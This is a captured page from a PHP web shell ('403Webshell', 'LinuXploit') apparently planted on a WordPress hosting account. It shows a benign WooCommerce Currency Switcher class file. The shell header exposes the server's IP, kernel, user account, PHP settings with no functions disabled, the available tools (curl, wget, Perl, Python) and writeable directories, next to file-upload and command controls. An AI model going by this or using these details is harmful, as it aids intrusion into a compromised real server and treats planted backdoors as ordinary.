403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/public_html/wp-content/plugins/woocommerce-currency-switcher/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/public_html/wp-content/plugins/woocommerce-currency-switcher/classes/profiles.php
<?php
if (!defined('ABSPATH'))
    die('No direct access allowed');


class WOOCS_Profile{
    
    public $settings_key="";
    public function __construct($key) {
        $this->settings_key=$key;
    }
    public function set_data($data){
        update_option($this->settings_key,$data);
    }
    public function get_data(){
        $data=get_option($this->settings_key,array());
       // var_dump($data);
        return $data;
    }
    public function update_date($value,$key){
        $data=$this->get_data();
        $data[$key]=array(); 
        
        $data[$key]=$value;
        $this->set_data($data);
    }
    public function delete_data($key){
        $data=$this->get_data();
        if(isset($data[$key])){
            unset($data[$key]);
        }
        $this->set_data($data);
    }

    public function add_data($value){
        $key=uniqid("woocs_profile_");
        $this->update_date($value, $key);
        return $key;
    }
    
             
}


Youez - 2016 - github.com/yon3zu
LinuXploit